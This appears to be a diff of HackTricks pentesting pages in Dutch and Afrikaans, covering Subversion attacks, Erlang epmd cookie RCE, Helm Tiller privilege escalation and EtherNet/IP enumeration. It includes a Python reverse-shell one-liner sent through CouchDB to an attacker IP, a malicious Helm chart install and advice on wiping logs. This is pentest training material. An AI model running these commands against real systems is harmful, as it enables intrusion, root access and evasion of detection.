Om ongeautoriseerde toegang tot repository's te verkrijgen, kunt u proberen zwakke of standaard inloggegevens te raden. U kunt ook proberen gebruik te maken van bekende beveiligingslekken in de Subversion-server om toegang te krijgen tot de repository's zonder geldige referenties.
|
||||
|
||||
### Gevoelige informatie verkrijgen
|
||||
|
||||
Om gevoelige informatie te verkrijgen, kunt u proberen toegang te krijgen tot de repository's en de inhoud ervan te doorzoeken op vertrouwelijke gegevens. U kunt ook proberen toegang te krijgen tot de serverconfiguratiebestanden om gevoelige informatie zoals wachtwoorden of certificaten te verkrijgen.
|
||||
|
||||
### Denial-of-Service (DoS) aanvallen uitvoeren
|
||||
|
||||
Om een denial-of-service (DoS) aanval uit te voeren, kunt u proberen de Subversion-server te overbelasten door een groot aantal verzoeken te sturen of door specifieke kwetsbaarheden in de server te misbruiken. Dit kan resulteren in het onbeschikbaar maken van de server voor legitieme gebruikers.
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
Na een succesvolle exploitatie van kwetsbaarheden op de Subversion-server, kunt u overgaan tot post-exploitatieactiviteiten. Dit omvat het verkennen van de repository's, het verkrijgen van verdere toegang tot het systeem en het opruimen van sporen om detectie te voorkomen.
|
||||
|
||||
### Repository's verkennen
|
||||
|
||||
Om de repository's verder te verkennen, kunt u de inhoud ervan doorzoeken op interessante bestanden of gevoelige informatie. U kunt ook proberen toegang te krijgen tot andere repository's die mogelijk aanwezig zijn op het systeem.
|
||||
|
||||
### Verdere toegang tot het systeem verkrijgen
|
||||
|
||||
Om verdere toegang tot het systeem te verkrijgen, kunt u proberen andere kwetsbaarheden in het systeem te misbruiken of gebruik te maken van de verkregen toegang tot de repository's om toegang te krijgen tot andere delen van het systeem.
|
||||
|
||||
### Sporen opruimen
|
||||
|
||||
Om detectie te voorkomen, is het belangrijk om sporen van uw activiteiten op de Subversion-server te verwijderen. Dit kan het verwijderen van logbestanden, het herstellen van gewijzigde bestanden of het terugzetten van de serverconfiguratie naar de oorspronkelijke staat omvatten.
|
||||
```bash
|
||||
svn ls svn://10.10.10.203 #list
|
||||
svn log svn://10.10.10.203 #Commit history
|
||||
svn checkout svn://10.10.10.203 #Download the repository
|
||||
svn up -r 2 #Go to revision 2 inside the checkout folder
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,33 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
Die **Erlang Port Mapper Daemon (epmd)** dien as 'n koördineerder vir verspreide Erlang-instansies. Dit is verantwoordelik vir die kartering van simboliese nodenaam na masjienadresse, en verseker dus dat elke nodenaam geassosieer word met 'n spesifieke adres. Hierdie rol van **epmd** is noodsaaklik vir die naadlose interaksie en kommunikasie tussen verskillende Erlang-nodes oor 'n netwerk.
|
||||
Die **Erlang Port Mapper Daemon (epmd)** dien as 'n koördineerder vir verspreide Erlang instansies. Dit is verantwoordelik vir die toewysing van simboliese knoopname aan masjienadresse, wat in wese verseker dat elke knoopnaam met 'n spesifieke adres geassosieer word. Hierdie rol van **epmd** is van kardinale belang vir die naatlose interaksie en kommunikasie tussen verskillende Erlang knope oor 'n netwerk.
|
||||
|
||||
**Verstekpoort**: 4369
|
||||
**Standaard poort**: 4369
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
4369/tcp open epmd Erlang Port Mapper Daemon
|
||||
```
|
||||
Hierdie word standaard gebruik op RabbitMQ en CouchDB installasies.
|
||||
Dit word standaard gebruik op RabbitMQ en CouchDB installasies.
|
||||
|
||||
# Opname
|
||||
# Enumerasie
|
||||
|
||||
## Handleiding
|
||||
## Handmatig
|
||||
```bash
|
||||
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
|
||||
|
||||
|
@ -51,11 +52,11 @@ PORT STATE SERVICE VERSION
|
|||
| kazoo_apps: 11500
|
||||
|_ kazoo-rabbitmq: 25672
|
||||
```
|
||||
# Erlang Koekie RCE
|
||||
# Erlang Cookie RCE
|
||||
|
||||
## Verre Verbinding
|
||||
## Remote Connection
|
||||
|
||||
As jy die **Verifikasiekoekie kan uitlek**, sal jy in staat wees om kode op die gasheer uit te voer. Gewoonlik is hierdie koekie in `~/.erlang.cookie` geleë en word dit deur Erlang gegenereer by die eerste begin. As dit nie gewysig of handmatig ingestel word nie, is dit 'n lukrake string \[A:Z] met 'n lengte van 20 karakters.
|
||||
As jy die **Authentication cookie** kan **leak**, sal jy in staat wees om kode op die gasheer uit te voer. Gewoonlik is hierdie koekie geleë in `~/.erlang.cookie` en word dit deur erlang gegenereer by die eerste opstart. As dit nie handmatig gewysig of gestel is nie, is dit 'n ewekansige string \[A:Z] met 'n lengte van 20 karakters.
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
|
@ -68,21 +69,21 @@ At last, we can start an erlang shell on the remote system.
|
|||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||
```
|
||||
Meer inligting in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
Die skrywer deel ook 'n program om die koekie te kragtig te kraak:
|
||||
Die outeur deel ook 'n program om die koekie te bruteforce:
|
||||
|
||||
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
||||
|
||||
## Plaaslike Verbinding
|
||||
|
||||
In hierdie geval gaan ons CouchDB misbruik om plaaslike voorregte te verhoog:
|
||||
In hierdie geval gaan ons CouchDB misbruik om voorregte plaaslik te verhoog:
|
||||
```bash
|
||||
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
||||
"homer\n"
|
||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
Voorbeeld geneem van [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
Jy kan die **Canape HTB-masjien gebruik** om te **oefen** hoe om hierdie kwesbaarheid te **uitbuit**.
|
||||
Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
Jy kan **Canape HTB-masjien gebruik om** **te oefen** hoe om **hierdie kwesbaarheid te benut**.
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -91,19 +92,20 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
|
|||
```
|
||||
# Shodan
|
||||
|
||||
* `poort:4369 "by poort"`
|
||||
* `port:4369 "by poort"`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
Helm is die **pakketbestuurder** vir Kubernetes. Dit maak dit moontlik om YAML-lêers te verpak en hulle in openbare en private repositoriums te versprei. Hierdie pakkette word **Helm Charts** genoem. **Tiller** is die **diens** wat standaard op die poort 44134 loop en die diens aanbied.
|
||||
Helm is die **pakketbestuurder** vir Kubernetes. Dit stel jou in staat om YAML-lêers te pak en dit in openbare en private repositories te versprei. Hierdie pakkette word **Helm Charts** genoem. **Tiller** is die **diens** wat standaard op poort 44134 loop en die diens bied.
|
||||
|
||||
**Standaard poort:** 44134
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
44134/tcp open unknown
|
||||
```
|
||||
# Enumerasie
|
||||
# Enumeration
|
||||
|
||||
As jy pods en/of dienste van verskillende namespaces kan **enumereer**, enumereer hulle en soek na diegene met **"tiller" in hul naam**:
|
||||
As jy **pods en/of dienste** van verskillende name ruimtes kan **opnoem**, noem hulle op en soek vir diegene met **"tiller" in hul naam**:
|
||||
```bash
|
||||
kubectl get pods | grep -i "tiller"
|
||||
kubectl get services | grep -i "tiller"
|
||||
|
@ -45,39 +46,40 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
|
|||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||||
```
|
||||
Jy kan ook probeer om hierdie diens te vind deur die poort 44134 te kontroleer:
|
||||
U kan ook probeer om hierdie diens te vind deur die poort 44134 te kontroleer:
|
||||
```bash
|
||||
sudo nmap -sS -p 44134 <IP>
|
||||
```
|
||||
Sodra jy dit ontdek het, kan jy daarmee kommunikeer deur die klient helm-toepassing af te laai. Jy kan gereedskap soos `homebrew` gebruik, of kyk na [**die amptelike vrystellingsbladsy**](https://github.com/helm/helm/releases)**.** Vir meer besonderhede, of vir ander opsies, sien [die installasiegids](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
||||
Sodra jy dit ontdek het, kan jy met dit kommunikeer deur die kliënt helm toepassing af te laai. Jy kan gereedskap soos `homebrew` gebruik, of kyk na [**die amptelike vrystellingsbladsy**](https://github.com/helm/helm/releases)**.** Vir meer besonderhede, of vir ander opsies, sien [die installasie gids](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
||||
|
||||
Dan kan jy **die diens opnoem**:
|
||||
```
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
## Voorregverhoging
|
||||
## Privilege Escalation
|
||||
|
||||
Standaard is **Helm2** geïnstalleer in die **namespace kube-system** met **hoë voorregte**, so as jy die diens vind en toegang daartoe het, kan dit jou in staat stel om **voorregte te verhoog**.
|
||||
Deur die standaard is **Helm2** in die **namespace kube-system** met **hoë bevoegdhede** geïnstalleer, so as jy die diens vind en toegang daartoe het, kan dit jou toelaat om **bevoegdhede te eskaleer**.
|
||||
|
||||
Al wat jy hoef te doen is om 'n pakkie soos hierdie een te installeer: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) wat die **standaard diens-token toegang gee tot alles in die hele groep.**
|
||||
Alles wat jy hoef te doen is om 'n pakket soos hierdie te installeer: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) wat die **standaard diens token toegang tot alles in die hele kluster sal gee.**
|
||||
```
|
||||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||||
/pwnchart
|
||||
```
|
||||
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) het jy die **verduideliking van die aanval**, maar basies, as jy die lêers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) en [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) binne _helm-tiller-pwn/pwnchart/templates/_ lees, kan jy sien hoe **alle voorregte aan die verstek-token gegee word**.
|
||||
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) het jy die **verklaring van die aanval**, maar basies, as jy die lêers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) en [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) binne _helm-tiller-pwn/pwnchart/templates/_ lees, kan jy sien hoe **alle die voorregte aan die standaardtoken gegee word**.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,62 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Protokol-inligting**
|
||||
# **Protokol Inligting**
|
||||
|
||||
EtherNet/IP is 'n **industriële Ethernet-netwerkprotokol** wat algemeen gebruik word in **industriële outomatiseringsbeheerstelsels**. Dit is ontwikkel deur Rockwell Automation in die laat 1990's en word bestuur deur ODVA. Die protokol verseker **multi-vendor-sisteeminteroperabiliteit** en word gebruik in verskeie toepassings soos **waterverwerkingsaanlegte**, **vervaardigingsfasiliteite** en **nutsvoorzienings**. Om 'n EtherNet/IP-toestel te identifiseer, word 'n navraag gestuur na **TCP/44818** met 'n **lys-identiteitsboodskap (0x63)**.
|
||||
EtherNet/IP is 'n **industriële Ethernet-netwerkprotokol** wat algemeen gebruik word in **industriële outomatiseringsbeheerstelsels**. Dit is in die laat 1990's deur Rockwell Automation ontwikkel en word deur ODVA bestuur. Die protokol verseker **multi-verskaffer stelselintegrasie** en word in verskeie toepassings soos **waterverwerkingsaanlegte**, **produksiefasiliteite**, en **nutsdienste** gebruik. Om 'n EtherNet/IP toestel te identifiseer, word 'n navraag na **TCP/44818** gestuur met 'n **lys Identiteite Boodskap (0x63)**.
|
||||
|
||||
**Verstekpoort:** 44818 UDP/TCP
|
||||
**Standaard poort:** 44818 UDP/TCP
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
44818/tcp open EtherNet/IP
|
||||
```
|
||||
# **Opsomming**
|
||||
|
||||
Enumeration is 'n belangrike stap in die pentesting-proses wat dit moontlik maak om inligting oor 'n teikenstelsel te versamel. Dit behels die identifisering van aktiewe dienste, poorte, protokolle en ander relevante inligting wat kan help om die stelsel te benader en te manipuleer. Hier is 'n paar tegnieke wat gebruik kan word vir enumerasie:
|
||||
|
||||
## **1. Port Scanning**
|
||||
Port scanning is die proses waarin die teikenstelsel se poorte ondersoek word om aktiewe dienste te identifiseer. Dit kan gedoen word deur gebruik te maak van gereedskap soos Nmap, hping3 of netcat.
|
||||
|
||||
## **2. Service Fingerprinting**
|
||||
Service fingerprinting behels die identifisering van die spesifieke dienste wat op die teikenstelsel beskikbaar is. Dit kan gedoen word deur na spesifieke kenmerke of banners te soek wat deur die dienste uitgestuur word.
|
||||
|
||||
## **3. Protocol Analysis**
|
||||
Protokolanalise behels die ondersoek van die protokolle wat deur die teikenstelsel gebruik word. Dit kan help om kwesbaarhede of swak punte in die protokolle te identifiseer wat uitgebuit kan word.
|
||||
|
||||
## **4. Directory and File Enumeration**
|
||||
Hierdie tegniek behels die soek na directories en lêers op die teikenstelsel. Dit kan gedoen word deur gebruik te maak van gereedskap soos DirBuster, Dirsearch of Gobuster.
|
||||
|
||||
## **5. User Enumeration**
|
||||
User enumerasie behels die identifisering van gebruikers op die teikenstelsel. Dit kan gedoen word deur gebruik te maak van gereedskap soos enum4linux, ldapsearch of brute force-tegnieke.
|
||||
|
||||
## **6. DNS Enumeration**
|
||||
DNS enumerasie behels die versameling van inligting oor die DNS-infrastruktuur van die teikenstelsel. Dit kan gedoen word deur gebruik te maak van gereedskap soos nslookup, dig of dnsenum.
|
||||
|
||||
## **7. SNMP Enumeration**
|
||||
SNMP enumerasie behels die identifisering van SNMP-dienste en die versameling van inligting oor die teikenstelsel deur middel van SNMP. Dit kan gedoen word deur gebruik te maak van gereedskap soos snmpwalk, snmp-check of onesixtyone.
|
||||
|
||||
## **8. SMB Enumeration**
|
||||
SMB enumerasie behels die identifisering van SMB-dienste en die versameling van inligting oor die teikenstelsel deur middel van SMB. Dit kan gedoen word deur gebruik te maak van gereedskap soos enum4linux, smbclient of nmap.
|
||||
|
||||
## **9. SMTP Enumeration**
|
||||
SMTP enumerasie behels die identifisering van SMTP-dienste en die versameling van inligting oor die teikenstelsel deur middel van SMTP. Dit kan gedoen word deur gebruik te maak van gereedskap soos nmap, smtp-user-enum of metasploit.
|
||||
|
||||
## **10. Web Enumeration**
|
||||
